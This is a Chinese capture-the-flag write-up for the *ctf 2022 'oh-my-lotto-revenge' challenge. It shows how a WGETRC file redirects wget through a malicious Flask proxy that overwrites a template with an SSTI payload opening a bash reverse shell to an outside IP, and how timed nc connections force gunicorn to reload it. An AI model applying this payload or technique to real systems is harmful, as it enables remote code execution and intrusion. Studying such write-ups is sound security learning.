[*ctf 2022]oh-my-lotto-revenge
以下介绍的是一种非预期解法:配合环境变量WGETR去给wget设置http_proxy和outputfile,从而控制wget的输出,并借此使用ssti的payload去覆盖原有的index.html,最后通过超时的方式让其加载
由于这次预测成功也不会返回flag,所以要考虑rce
唯一执行系统命令的地方仍是wget,由于环境变量可控,所以想到能否实验wget进行rce
平时wget用于rce常是outputfile写马,但是这次学到了新姿势
wget,参考以下文档
[GNU Wget 1.21.1-dirty Manual](https://www.gnu.org/software/wget/manual/wget.html#:~:text=6.1-,Wgetrc Location,-When initializing%2C Wget)
WGETRC
If the environmental variable WGETRC is set, Wget will try to load that file
其实就是这个,设置环境变量WGETR的值为某一可控的文件,文件上的参数会变成wget的参数
之后就是查阅文档找参数
https_proxy
https_proxy = string
Use string as HTTPS proxy, instead of the one specified in environment.
具体使用可参考[How To Use Wget With Proxy - Blog | Oxylabs](https://oxylabs.io/blog/wget-proxy)
代理是用于转发流量的,我们可以代理试试
https_proxy=8.129.42.140:3307
这样通过WGETR写成wget的参数后,可以在我vps看到请求
问题在于这个lotto现在是404,它需要get到我们的恶意payload才行
尝试改变本机hosts文件无果(期间差点把服务器网络搞炸)后来了解到代理是不吃hosts文件的
最后在@Xux师傅的指点下
起一个恶意flask服务,如我是192.168.0.107:2333
from flask import Flask,make_response
app = Flask(__name__)
@app.route('/')
def index():
r = '''
{{config.__class__.__init__.__globals__['os'].popen('bash -i >& /dev/tcp/8.129.42.140/3307 0>&1').read()}}
'''
response = make_response(r)
response.headers['Content-Type'] = 'text/plain'
response.headers['Content-Disposition'] = 'attachment; filename=index.html'
return response
app.run("0.0.0.0",2333)
由于只设置了@app.route('/')
,所以无论什么请求都会请求到这个路由下面,解决了之前lotto404的问题(太机智了!!!)
这个请求返回一个内容为ssti反弹shell的html文件
那么现在文件内容可控,能否控制文件输出的路径呢
回忆起之前用的outputfile
output_document = file
Set the output filename—the same as ‘-O file’.
那么思路明朗了
设置WGETR为某一可控文件(我们上传的文件)
该文件内容是
http_proxy=http://192.168.0.107:2333
https_proxy=http://192.168.0.107:2333
output_document = templates/index.html
同时,http://192.168.0.107:2333下面开启恶意flask服务(代码见上文)
这样以后点击预测,使得wget发起请求
可以看到我们成功覆盖了templates/index.html
我们拿{{6*6}}为例
覆盖后再次访问index.html可以看到
不过实际再试Payload的过程中,发现容器的ssti不是实时渲染的
可以参考官解的这个方法让他重启服务以加载payload
此时发现已经覆盖了题目的
app.py
,但并不能直接RCE,因为题目使用gunicorn部署,app.py
在改变的情况下并不会实时加载。但gunicorn使用一种pre-forked worker
的机制,当某一个worker超时以后,就会让gunicorn重启该worker,让worker超时的POC如下timeout 50 nc ip 53000 & timeout 50 nc ip 53000 & timeout 50 nc ip 53000
这样就可以ssti了